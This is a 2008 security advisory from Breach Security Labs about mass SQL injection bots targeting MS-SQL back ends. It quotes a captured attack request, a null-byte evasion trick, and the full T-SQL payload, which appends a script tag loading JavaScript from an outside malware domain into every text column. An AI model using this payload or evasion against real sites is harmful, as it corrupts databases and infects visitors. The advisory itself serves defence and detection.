Monday, December 8, 2008
Priority: HIGH
Impact: Potential for database corruption or malware to be distributed to website visitors.
Resolution: Verify blocking policy in web application firewall. Remediate the following web application and database flaws:
Who: Any organization with a front-end web application that communicates with a back-end Microsoft MS-SQL database may be vulnerable.
What: The attackers behind the mass SQL injection bots are updating their methods to continue to successfully insert malicious JavaScript into databases and compromise end-user computers. These methods include targeting non-Microsoft based web application front-ends, using different attack vector locations, utilizing evasion techniques and optimizing the JavaScript code.
How: Breach Security Labs has been monitoring the evolution of the tactics used by the mass SQL injection bots:
Technical Note – The method used to identify non-Microsoft front-end web applications that have been successfully compromised by the SQL injection attack was to use a search engine to identify web pages that have the malicious JavaScript code in them (pointing to the malware domain sites). In order to be indexed by the search engine, the JavaScript code has actually been properly output encoded by the web application and is being displayed as plain text vs. being actual executable code. This means that while the end goal of executing malicious JavaScript code did not work, the initial phase of using SQL injection to alter database contents was still successful.
The web languages that have been compromised are:
1. PHP - .php pages
2. Cold Fusion - .cfm pages
3. Java Server Pages - .jsp pages
If you are running any of these web languages and have a Microsoft back-end MS-SQL, you may be vulnerable to these attacks and should confirm your web applications’ input validation mechanisms and database settings.
POST /example.asp HTTP/1.1
Cookie: start=S; end=Z%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x44454...
Content-Type: application/x-www-form-urlencoded
Host: removed
Content-Length: 3
Expect: 100-continue
Connection: Keep-Alive
This new attack vector is important mainly from a detection perspective as most organizations’ web server log file formats (such as Common Log Format) do not include the full request headers and would not display this attack data within the logs.
C%00AST
The inclusion of the “%” sign and the “%00” encoded NULL byte would evade basic filtering mechanisms while still working as functional equivalent code when interpreted by the MS-SQL database. It is therefore critical that any security filtering mechanisms have strong anti-evasion capabilities in order to normalize input data prior to inspection.
In response to this finding, the attackers then chose to optimize their malicious JavaScript code so that it had a higher chance of executing prior to the remainder of the normal web page content.
In looking at this captured SQL injection code below, the bolded portion shows that the attackers are attempting to “cleanly” close the expected <TITLE> HTML tag, then inserting the malicious JavaScript and finally appending the opening of an HTML comment tag.
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR
FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM
Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=['+@C+']+''"></title><script
src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' where '+@C+'
not like ''%"></title><script
src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT
FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor
The goal of this optimized code is to have the malicious JavaScript be the only section of the web page that will actually execute and then trick the web browser into treating the remainder of the web page code as a comment field and not executing it or showing it to the victim.
The impact of a successful compromise is severe as it can result in alteration of database contents, database corruption and also possible infection of website customers.
Due to the misconception of “Microsoft only” websites being impacted, coupled with the evidence that the attackers are utilizing different methods of attack and evasion, the severity for websites is HIGH.
Breach Security WebDefend™ and ModSecurity™ Pro M1100 customers are already protected against these mass SQL injection attacks through either the Adaption positive security model or by Generic Application Attack Detection rules. Customers should verify their security settings to ensure the appropriate prevention mechanisms are active, specifically, that the appliances are configured in a “Blocking” mode for SQL injection attacks.
Contact: For more information on this alert, please email support@breach.com.